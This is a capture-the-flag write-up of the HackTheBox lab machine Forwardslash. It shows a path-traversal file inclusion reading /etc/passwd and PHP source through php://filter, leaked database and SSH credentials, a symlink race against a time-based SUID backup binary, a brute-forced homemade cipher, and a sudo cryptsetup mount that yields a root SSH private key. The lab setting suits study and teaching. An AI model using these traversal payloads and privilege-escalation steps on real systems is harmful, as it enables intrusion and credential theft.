HTB: Forwardslash

Forwardslash card

This is a writeup about a retired HacktheBox machine: Forwardslash created by InfoSecJack and chivato publish on April 4, 2020. This box is classified as an hard machine. The user part inplies some enumeration a LFI, some PHP filter, a home made backup binary. The root part implies some home made crypto (don't) and a LUKS image.

User

Recon

We start with an nmap scan. Only the ports 22 (SSH) and 80 (HTTP) are open.

# Nmap 7.80 scan initiated Sun Apr 25 07:56:08 2020 as: nmap -p- -oN nmap 10.10.10.183
Nmap scan report for 10.10.10.183
Host is up (0.014s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Sun Apr 25 07:56:20 2020 -- 1 IP address (1 host up) scanned in 12.27 seconds

Web

The homepage announce that the site was hacked.

homepage

We don't have access to anything. We start with a simple fuzzing using ffuf but nothing interesting came out. We had the extension .xml, .txt and .php to ffuf and relaunch it. This time we found an "interesting" page: note.txt.

kali@kali:~$ ./ffuf -w /usr/share/wordlists/dirb/big.txt -u http://forwardslash.htb/FUZZ -mc 200 -c -e .xml,.txt,.php

        /'___\  /'___\           /'___\
      /\ \__/ /\ \__/  __  __  /\ \__/
      \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
        \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

      v1.0.2
________________________________________________

:: Method           : GET
:: URL              : http://forwardslash.htb/FUZZ
:: Extensions       : .xml .txt .php
:: Follow redirects : false
:: Calibration      : false
:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 200
________________________________________________

index.php               [Status: 200, Size: 1695, Words: 207, Lines: 42]
note.txt                [Status: 200, Size: 216, Words: 39, Lines: 5]
:: Progress: [81876/81876] :: Job [1/1] :: 481 req/sec :: Duration: [0:02:50] :: Errors: 67 ::

The note contain a message from the website administrator chiv speaking about a backup site.

Pain, we were hacked by some skids that call themselves the "Backslash Gang"... I know... That name... Anyway I am just leaving this note here to say that we still have that backup site so we should be fine.

-chiv

We modify our /etc/hosts in order to add the backup subdomain and browse to http://backup.forwardslash.htb/ which is an authentication form.

backup homepage

We are able to auto register here and access an few functionality. One was disabled because of the hack: The profile picture upload. But the button are just disables in the HTML source code. We can easily re-enable them with the element inspector (browser built-in).

We can then upload our profile picture with a POST request. Nevertheless we can also modify the URL to include local files as /etc/passwd by simply putting a relative path.

Here is the request:

POST /profilepicture.php HTTP/1.1
Host: backup.forwardslash.htb
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=7j90s0qj5ssk9keddt94ttgcoq
Content-Length: 32

url=../../../../../../etc/passwd

Here is the server's response:

<SNIP>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
pain:x:1000:1000:pain:/home/pain:/bin/bash
chiv:x:1001:1001:Chivato,,,:/home/chiv:/bin/bash
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false

Now that we have a LFI we can look for the database credentials. We load the register.php file as it is certainly using the database to store the new users. We see that the file only include the config.php file.

Here is the request:

POST /profilepicture.php HTTP/1.1
Host: backup.forwardslash.htb
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Cookie: PHPSESSID=7j90s0qj5ssk9keddt94ttgcoq

url=./register.php

Here is the server's answer:

<SNIP>
// Include config file
require_once "config.php";

// Define variables and initialize with empty values
$username = $password = $confirm_password = "";
$username_err = $password_err = $confirm_password_err = "";

// Processing form data when form is submitted
if($_SERVER["REQUEST_METHOD"] == "POST"){
<SNIP>

Therefore we load the config.php file. It contains the current DB credentials but we cannot use them for anything else (mostly connect using the SSH service). The comment speaks about a backup of the old configuration.

Here is the request:

POST /profilepicture.php HTTP/1.1
Host: backup.forwardslash.htb
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
Cookie: PHPSESSID=7j90s0qj5ssk9keddt94ttgcoq

url=./config.php

Here is the server's answer:

//credentials for the temp db while we recover, had to backup old config, didn't want it getting compromised -pain
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'www-data');
define('DB_PASSWORD', '5iIwJX0C2nZiIhkLYE7n314VcKNx8uMkxfLvCTz2USGY180ocz3FQuVtdCy3dAgIMK3Y8XFZv9fBi6OwG6OYxoAVnhaQkm7r2ec');
define('DB_NAME', 'site');

/* Attempt to connect to MySQL database */
$link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);

// Check connection
if($link === false){
    die("ERROR: Could not connect. " . mysqli_connect_error());
}

We start enumeration the website and quickly found the /dev/ folder. He is not accessible from our IP address as there must be some network filtering.

dev access denied

We try to include the file with our previous LFI but we got an error saying "Permission Denied; not that way ;)"

Here is the request:

POST /profilepicture.php HTTP/1.1
Host: backup.forwardslash.htb
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
Cookie: PHPSESSID=7j90s0qj5ssk9keddt94ttgcoq

url=dev/index.php

We then try to use the PHP filters to access the file content. The base64 filter give us the content of the file base64 encoded.

Here is the request:

POST /profilepicture.php HTTP/1.1
Host: backup.forwardslash.htb
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Cookie: PHPSESSID=7j90s0qj5ssk9keddt94ttgcoq

url=php://filter/convert.base64-encode/resource=dev/index.php

Here is the server's answer:

PD9waHAKLy9pbmNsdWRlX29uY2UgLi4vc2Vzc2lvbi5waHA7Ci8vIEluaXRpYWxpemUgdGhlIHNlc3Npb24Kc2Vzc2lvbl9zdGFydCgpOwoKaWYoKCFpc3NldCgkX1NFU1NJT05bImxvZ2dlZGluIl0pIHx8ICRfU0VTU0lPTlsibG9nZ2VkaW4iXSAhPT0gdHJ1ZSB8fCAkX1NFU1NJT05bJ3VzZXJuYW1lJ10gIT09ICJhZG1pbiIpICYmICRfU0VSVkVSWydSRU1PVEVfQUREUiddICE9PSAiMTI3LjAuMC4xIil7CiAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwMyBGb3JiaWRkZW4nKTsKICAgIGVjaG8gIjxoMT40MDMgQWNjZXNzIERlbmllZDwvaDE+IjsKICAgIGVjaG8gIjxoMz5BY2Nlc3MgRGVuaWVkIEZyb20gIiwgJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10sICI8L2gzPiI7CiAgICAvL2VjaG8gIjxoMj5SZWRpcmVjdGluZyB0byBsb2dpbiBpbiAzIHNlY29uZHM8L2gyPiIKICAgIC8vZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMzt1cmw9Li4vbG9naW4ucGhwIiAvPic7CiAgICAvL2hlYWRlcigibG9jYXRpb246IC4uL2xvZ2luLnBocCIpOwogICAgZXhpdDsKfQo/Pgo8aHRtbD4KCTxoMT5YTUwgQXBpIFRlc3Q8L2gxPgoJPGgzPlRoaXMgaXMgb3VyIGFwaSB0ZXN0IGZvciB3aGVuIG91ciBuZXcgd2Vic2l0ZSBnZXRzIHJlZnVyYmlzaGVkPC9oMz4KCTxmb3JtIGFjdGlvbj0iL2Rldi9pbmRleC5waHAiIG1ldGhvZD0iZ2V0IiBpZD0ieG1sdGVzdCI+CgkJPHRleHRhcmVhIG5hbWU9InhtbCIgZm9ybT0ieG1sdGVzdCIgcm93cz0iMjAiIGNvbHM9IjUwIj48YXBpPgogICAgPHJlcXVlc3Q+dGVzdDwvcmVxdWVzdD4KPC9hcGk+CjwvdGV4dGFyZWE+CgkJPGlucHV0IHR5cGU9InN1Ym1pdCI+Cgk8L2Zvcm0+Cgo8L2h0bWw+Cgo8IS0tIFRPRE86CkZpeCBGVFAgTG9naW4KLS0+Cgo8P3BocAppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICJHRVQiICYmIGlzc2V0KCRfR0VUWyd4bWwnXSkpIHsKCgkkcmVnID0gJy9mdHA6XC9cL1tcc1xTXSpcL1wiLyc7CgkvLyRyZWcgPSAnLygoKCgyNVswLTVdKXwoMlswLTRdXGQpfChbMDFdP1xkP1xkKSkpXC4pezN9KCgoKDI1WzAtNV0pfCgyWzAtNF1cZCl8KFswMV0/XGQ/XGQpKSkpLycKCglpZiAocHJlZ19tYXRjaCgkcmVnLCAkX0dFVFsneG1sJ10sICRtYXRjaCkpIHsKCQkkaXAgPSBleHBsb2RlKCcvJywgJG1hdGNoWzBdKVsyXTsKCQllY2hvICRpcDsKCQllcnJvcl9sb2coIkNvbm5lY3RpbmciKTsKCgkJJGNvbm5faWQgPSBmdHBfY29ubmVjdCgkaXApIG9yIGRpZSgiQ291bGRuJ3QgY29ubmVjdCB0byAkaXBcbiIpOwoKCQllcnJvcl9sb2coIkxvZ2dpbmcgaW4iKTsKCgkJaWYgKEBmdHBfbG9naW4oJGNvbm5faWQsICJjaGl2IiwgJ04wYm9keUwxa2VzQmFjay8nKSkgewoKCQkJZXJyb3JfbG9nKCJHZXR0aW5nIGZpbGUiKTsKCQkJZWNobyBmdHBfZ2V0X3N0cmluZygkY29ubl9pZCwgImRlYnVnLnR4dCIpOwoJCX0KCgkJZXhpdDsKCX0KCglsaWJ4bWxfZGlzYWJsZV9lbnRpdHlfbG9hZGVyIChmYWxzZSk7CgkkeG1sZmlsZSA9ICRfR0VUWyJ4bWwiXTsKCSRkb20gPSBuZXcgRE9NRG9jdW1lbnQoKTsKCSRkb20tPmxvYWRYTUwoJHhtbGZpbGUsIExJQlhNTF9OT0VOVCB8IExJQlhNTF9EVERMT0FEKTsKCSRhcGkgPSBzaW1wbGV4bWxfaW1wb3J0X2RvbSgkZG9tKTsKCSRyZXEgPSAkYXBpLT5yZXF1ZXN0OwoJZWNobyAiLS0tLS1vdXRwdXQtLS0tLTxicj5cclxuIjsKCWVjaG8gIiRyZXEiOwp9CgpmdW5jdGlvbiBmdHBfZ2V0X3N0cmluZygkZnRwLCAkZmlsZW5hbWUpIHsKICAgICR0ZW1wID0gZm9wZW4oJ3BocDovL3RlbXAnLCAncisnKTsKICAgIGlmIChAZnRwX2ZnZXQoJGZ0cCwgJHRlbXAsICRmaWxlbmFtZSwgRlRQX0JJTkFSWSwgMCkpIHsKICAgICAgICByZXdpbmQoJHRlbXApOwogICAgICAgIHJldHVybiBzdHJlYW1fZ2V0X2NvbnRlbnRzKCR0ZW1wKTsKICAgIH0KICAgIGVsc2UgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KfQoKPz4K

We decode the base64 content to get the old database credentials.

if (preg_match($reg, $_GET['xml'], $match)) {
        $ip = explode('/', $match[0])[2];
        echo $ip;
        error_log("Connecting");

        $conn_id = ftp_connect($ip) or die("Couldn't connect to $ip\n");

        error_log("Logging in");

        if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {

                error_log("Getting file");
                echo ftp_get_string($conn_id, "debug.txt");

This credentials are also valid for the SSH service as chiv.

kali@kali:~$ ssh chiv@forwardslash.htb
chiv@forwardslash.htb's password:
<snip>
chiv@forwardslash:~$

There is no user.txt in chiv's home folder. The other user is pain with the uid 1000. We start enumerating the box for a privilege escalation.

We can list the file in the pain user homefolder. The encryptorinator and note.txt are even readable by they are for the root part, so we will come back to them later.

chiv@forwardslash:~$ ls ../pain/
encryptorinator  note.txt  user.txt

When looking at /var/backups/ we see a few interesting files, mainly the config.php.bak that is only readable by the pain user.

chiv@forwardslash:~$ ls /var/backups/ -l
total 996
-rw-r--r-- 1 root root            61440 Mar 24 06:25 alternatives.tar.0
-rw-r--r-- 1 root root            38908 Mar 24 06:17 apt.extended_states.0
-rw-r--r-- 1 root root             4115 Mar  6 14:17 apt.extended_states.1.gz
-rw-r--r-- 1 root root             3909 Mar  5 14:46 apt.extended_states.2.gz
-rw------- 1 pain pain              526 Jun 21  2019 config.php.bak
-rw-r--r-- 1 root root              437 Mar  5 14:07 dpkg.diversions.0
-rw-r--r-- 1 root root              202 Mar  5 14:07 dpkg.diversions.1.gz
-rw-r--r-- 1 root root              207 Mar  5 14:47 dpkg.statoverride.0
-rw-r--r-- 1 root root              171 Mar  5 14:47 dpkg.statoverride.1.gz
-rw-r--r-- 1 root root           668374 Mar 24 06:17 dpkg.status.0
-rw-r--r-- 1 root root           188241 Mar 24 06:17 dpkg.status.1.gz
-rw------- 1 root root              730 Mar 17 20:13 group.bak
-rw------- 1 root shadow            604 Mar 17 20:13 gshadow.bak
-r--r--r-- 1 root root              129 May 27  2019 note.txt
-rw------- 1 root root             1660 Mar  5 14:46 passwd.bak
drwxrwx--- 2 root backupoperator   4096 May 27  2019 recovery
-rw------- 1 root shadow           1174 Mar  6 14:21 shadow.bak

When looking for SUID binary we found that the binary /usr/bin/backup is SUID and belonging to the pain user.

chiv@forwardslash:/home/pain$ find / -uid 1000 -perm -4000 -type f 2>/dev/null
/usr/bin/backup

The binary is a standard linux program. When we run it, it told us that a file doesn't exist. The filename looks like a MD5 hash.

chiv@forwardslash:/home/pain$ file /usr/bin/backup
/usr/bin/backup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=e0fcfb1c48fe0b5377774c1d237dc50ddfa41c08, not stripped
chiv@forwardslash:/home/pain$ /usr/bin/backup
----------------------------------------------------------------------
        Pain's Next-Gen Time Based Backup Viewer
        v0.1
        NOTE: not reading the right file yet,
        only works if backup is taken in same second
----------------------------------------------------------------------

Current Time: 10:14:45
ERROR: f057d631c54aae27e968bc3fafb02b4e Does Not Exist or Is Not Accessible By Me, Exiting...

We use ltrace to see what are the system call of the program and we see that the filename is a MD5 hash of the current time.

chiv@forwardslash:/home/pain$ ltrace /usr/bin/backup
getuid()                                                                                                                                         = 1001
getgid()                                                                                                                                         = 1001
puts("--------------------------------"...----------------------------------------------------------------------
        Pain's Next-Gen Time Based Backup Viewer
        v0.1
        NOTE: not reading the right file yet,
        only works if backup is taken in same second
----------------------------------------------------------------------

)                                                                                                      = 277
time(0)                                                                                                                                          = 1588846490
localtime(0x7ffdb8c71790)                                                                                                                        = 0x7f373a3526a0
malloc(13)                                                                                                                                       = 0x56277209e8e0
sprintf("10:14:50", "%02d:%02d:%02d", 10, 14, 50)                                                                                                = 8
strlen("10:14:50")                                                                                                                               = 8
malloc(33)                                                                                                                                       = 0x56277209e900
MD5_Init(0x7ffdb8c716e0, 4000, 0x56277209e900, 0x56277209e900)                                                                                   = 1
MD5_Update(0x7ffdb8c716e0, 0x56277209e8e0, 8, 0x56277209e8e0)                                                                                    = 1
MD5_Final(0x7ffdb8c71740, 0x7ffdb8c716e0, 0x7ffdb8c716e0, 0)                                                                                     = 1
snprintf("9c", 32, "%02x", 0x9c)                                                                                                                 = 2
snprintf("71", 32, "%02x", 0x71)                                                                                                                 = 2
snprintf("36", 32, "%02x", 0x36)                                                                                                                 = 2
snprintf("55", 32, "%02x", 0x55)                                                                                                                 = 2
snprintf("35", 32, "%02x", 0x35)                                                                                                                 = 2
snprintf("e4", 32, "%02x", 0xe4)                                                                                                                 = 2
snprintf("4d", 32, "%02x", 0x4d)                                                                                                                 = 2
snprintf("c7", 32, "%02x", 0xc7)                                                                                                                 = 2
snprintf("6d", 32, "%02x", 0x6d)                                                                                                                 = 2
snprintf("65", 32, "%02x", 0x65)                                                                                                                 = 2
snprintf("bb", 32, "%02x", 0xbb)                                                                                                                 = 2
snprintf("cd", 32, "%02x", 0xcd)                                                                                                                 = 2
snprintf("1f", 32, "%02x", 0x1f)                                                                                                                 = 2
snprintf("aa", 32, "%02x", 0xaa)                                                                                                                 = 2
snprintf("ab", 32, "%02x", 0xab)                                                                                                                 = 2
snprintf("14", 32, "%02x", 0x14)                                                                                                                 = 2
printf("Current Time: %s\n", "10:14:50"Current Time: 10:14:50
)                                                                                                         = 23
setuid(1002)                                                                                                                                     = -1
setgid(1002)                                                                                                                                     = -1
access("9c71365535e44dc76d65bbcd1faaab14"..., 0)                                                                                                 = -1
printf("ERROR: %s Does Not Exist or Is N"..., "9c71365535e44dc76d65bbcd1faaab14"...ERROR: 9c71365535e44dc76d65bbcd1faaab14 Does Not Exist or Is Not Accessible By Me, Exiting...
)                                                             = 94
setuid(1001)                                                                                                                                     = 0
setgid(1001)                                                                                                                                     = 0
remove("9c71365535e44dc76d65bbcd1faaab14"...)                                                                                                    = -1
+++ exited (status 0) +++

With a simple combination of grep and cut we can extract the current filename used by the program:

chiv@forwardslash:~$ /usr/bin/backup | grep ERROR | cut -d ' ' -f 2
705159512ab36c24a46aead527de7fb5

We can then create a temporary folder and try to get the file user.txt in pain's homedir by creating a symlink with the name of the file used by the backup program and then read it.

chiv@forwardslash:/tmp/lolo$ ln -s /home/pain/user.txt ./$(/usr/bin/backup | grep ERROR | cut -d ' ' -f 2)  && /usr/bin/backup
----------------------------------------------------------------------
        Pain's Next-Gen Time Based Backup Viewer
        v0.1
        NOTE: not reading the right file yet,
        only works if backup is taken in same second
----------------------------------------------------------------------

Current Time: 12:28:53
aec49cafdb7eec8710d3bdf623ac28f7

We apply the same thing for the config.php.bak file in /var/backup/ and get some database credentials.

chiv@forwardslash:/tmp/lolo$ ln -s /var/backups/config.php.bak ./$(/usr/bin/backup | grep ERROR | cut -d ' ' -f 2)  && /usr/bin/backup
----------------------------------------------------------------------
        Pain's Next-Gen Time Based Backup Viewer
        v0.1
        NOTE: not reading the right file yet,
        only works if backup is taken in same second
----------------------------------------------------------------------

Current Time: 12:28:11
<?php
/* Database credentials. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'pain');
define('DB_PASSWORD', 'db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704');
define('DB_NAME', 'site');

/* Attempt to connect to MySQL database */
$link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);

// Check connection
if($link === false){
    die("ERROR: Could not connect. " . mysqli_connect_error());
}
?>

This credentials allows us to connect as pain using SSH (we can grab the user.txt again).

kali@kali:~/pown/htb_cache$ ssh pain@10.10.10.183
pain@10.10.10.183's password:
<snip>
pain@forwardslash:~$ cat user.txt
96628de4960f22df8f7006205a8fa0bf

Getting root

In pain homefolder we also found a note.txt which disclose that some "important" file are encrypted using homemade crypto (never use homemade crypto).

pain@forwardslash:~$ cat note.txt
Pain, even though they got into our server, I made sure to encrypt any important files and then did some crypto magic on the key... I gave you the key in person the other day, so unless these hackers are some crypto experts we should be good to go.

-chiv

The folder encryptorinator contains a scripts in order to encrypt and decrypt a message and an encrypted message. The encrypter script is the following:

def encrypt(key, msg):
    key = list(key)
    msg = list(msg)
    for char_key in key:
        for i in range(len(msg)):
            if i == 0:
                tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1])
            else:
                tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1])

            while tmp > 255:
                tmp -= 256
            msg[i] = chr(tmp)
    return ''.join(msg)

def decrypt(key, msg):
    key = list(key)
    msg = list(msg)
    for char_key in reversed(key):
        for i in reversed(range(len(msg))):
            if i == 0:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
            else:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
            while tmp < 0:
                tmp += 256
            msg[i] = chr(tmp)
    return ''.join(msg)

print encrypt('REDACTED', 'REDACTED')
print decrypt('REDACTED', encrypt('REDACTED', 'REDACTED'))

The key can quickly be brute force with a quick script including the decrypt function and looking for some "classic" English words in the decrypted text.

def decrypt(key, msg):
    key = list(key)
    msg = list(msg)
    for char_key in reversed(key):
        for i in reversed(range(len(msg))):
            if i == 0:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
            else:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
            while tmp < 0:
                tmp += 256
            msg[i] = chr(tmp)
    return ''.join(msg)

ciphertext = open('ciphertext', 'r').read().rstrip()
for i in range(1, 165):
  for j in range(33,127):
    key = chr(j) * i
    msg = decrypt(key, ciphertext)
    if 'the ' in msg or 'be ' in msg or 'and ' in msg or 'of ' in msg :
      exit("Key: {0}, Key length: {1}, Msg: {2}".format(key, len(key), msg))

Running the script give the following result:

$ python2 decode.py
Key: ttttttttttttttttt, Key length: 17, Msg: Hlô¿vFÞ;©¨ºÒÀî&you liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf

Note: there seems to be some flow in the encryption as every key starting with t and 17 characters long will decrypt the message. I modified the script to use a fixed key:

$ python2 decode.py
Key: t2345678901234567, Key length: 17, Msg: HdD.ÛÄçáp޺¿éyou liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf

We look at our sudo permission. We can run a few commands as root without password mostly /sbin/cryptsetup luksOpen that allow to open a LUKS encrypted image.

pain@forwardslash:~$ sudo -l
Matching Defaults entries for pain on forwardslash:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pain may run the following commands on forwardslash:
    (root) NOPASSWD: /sbin/cryptsetup luksOpen *
    (root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/
    (root) NOPASSWD: /bin/umount ./mnt/

With the passphrase and our sudo permission we can easily open the encrypted_backup.img image which contain a RSA private key.

pain@forwardslash:/tmp/plop$ mkdir mnt
pain@forwardslash:/tmp/plop$ sudo /sbin/cryptsetup luksOpen /var/backups/recovery/encrypted_backup.img backup
Enter passphrase for /var/backups/recovery/encrypted_backup.img:
pain@forwardslash:/tmp/plop$ sudo /bin/mount /dev/mapper/backup ./mnt/
pain@forwardslash:/tmp/plop$ ls mnt/
id_rsa
pain@forwardslash:/tmp/plop$ cat mnt/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA9i/r8VGof1vpIV6rhNE9hZfBDd3u6S16uNYqLn+xFgZEQBZK
RKh+WDykv/gukvUSauxWJndPq3F1Ck0xbcGQu6+1OBYb+fQ0B8raCRjwtwYF4gaf
yLFcOS111mKmUIB9qR1wDsmKRbtWPPPvgs2ruafgeiHujIEkiUUk9f3WTNqUsPQc
u2AG//ZCiqKWcWn0CcC2EhWsRQhLOvh3pGfv4gg0Gg/VNNiMPjDAYnr4iVg4XyEu
NWS2x9PtPasWsWRPLMEPtzLhJOnHE3iVJuTnFFhp2T6CtmZui4TJH3pij6wYYis9
MqzTmFwNzzx2HKS2tE2ty2c1CcW+F3GS/rn0EQIDAQABAoIBAQCPfjkg7D6xFSpa
V+rTPH6GeoB9C6mwYeDREYt+lNDsDHUFgbiCMk+KMLa6afcDkzLL/brtKsfWHwhg
G8Q+u/8XVn/jFAf0deFJ1XOmr9HGbA1LxB6oBLDDZvrzHYbhDzOvOchR5ijhIiNO
3cPx0t1QFkiiB1sarD9Wf2Xet7iMDArJI94G7yfnfUegtC5y38liJdb2TBXwvIZC
vROXZiQdmWCPEmwuE0aDj4HqmJvnIx9P4EAcTWuY0LdUU3zZcFgYlXiYT0xg2N1p
MIrAjjhgrQ3A2kXyxh9pzxsFlvIaSfxAvsL8LQy2Osl+i80WaORykmyFy5rmNLQD
Ih0cizb9AoGBAP2+PD2nV8y20kF6U0+JlwMG7WbV/rDF6+kVn0M2sfQKiAIUK3Wn
5YCeGARrMdZr4fidTN7koke02M4enSHEdZRTW2jRXlKfYHqSoVzLggnKVU/eghQs
V4gv6+cc787HojtuU7Ee66eWj0VSr0PXjFInzdSdmnd93oDZPzwF8QUnAoGBAPhg
e1VaHG89E4YWNxbfr739t5qPuizPJY7fIBOv9Z0G+P5KCtHJA5uxpELrF3hQjJU8
6Orz/0C+TxmlTGVOvkQWij4GC9rcOMaP03zXamQTSGNROM+S1I9UUoQBrwe2nQeh
i2B/AlO4PrOHJtfSXIzsedmDNLoMqO5/n/xAqLAHAoGATnv8CBntt11JFYWvpSdq
tT38SlWgjK77dEIC2/hb/J8RSItSkfbXrvu3dA5wAOGnqI2HDF5tr35JnR+s/JfW
woUx/e7cnPO9FMyr6pbr5vlVf/nUBEde37nq3rZ9mlj3XiiW7G8i9thEAm471eEi
/vpe2QfSkmk1XGdV/svbq/sCgYAZ6FZ1DLUylThYIDEW3bZDJxfjs2JEEkdko7mA
1DXWb0fBno+KWmFZ+CmeIU+NaTmAx520BEd3xWIS1r8lQhVunLtGxPKvnZD+hToW
J5IdZjWCxpIadMJfQPhqdJKBR3cRuLQFGLpxaSKBL3PJx1OID5KWMa1qSq/EUOOr
OENgOQKBgD/mYgPSmbqpNZI0/B+6ua9kQJAH6JS44v+yFkHfNTW0M7UIjU7wkGQw
ddMNjhpwVZ3//G6UhWSojUScQTERANt8R+J6dR0YfPzHnsDIoRc7IABQmxxygXDo
ZoYDzlPAlwJmoPQXauRl1CgjlyHrVUTfS0AkQH2ZbqvK5/Metq8o
-----END RSA PRIVATE KEY-----

With the private key we can directly connect as root to the local machine and get the root.txt flag:

pain@forwardslash:/tmp/plop$ ssh root@localhost -i mnt/id_rsa
<snip>
root@forwardslash:~# cat root.txt
419f9c340fcc83acccfcbebfe17d2538

Wrapping up

This box was hard. I don't usually do the hard box as they take so much time. This one was long and I ask a few questions on the discord channel to avoid taking too much time on rabbit hole. Nevertheless the box feels good.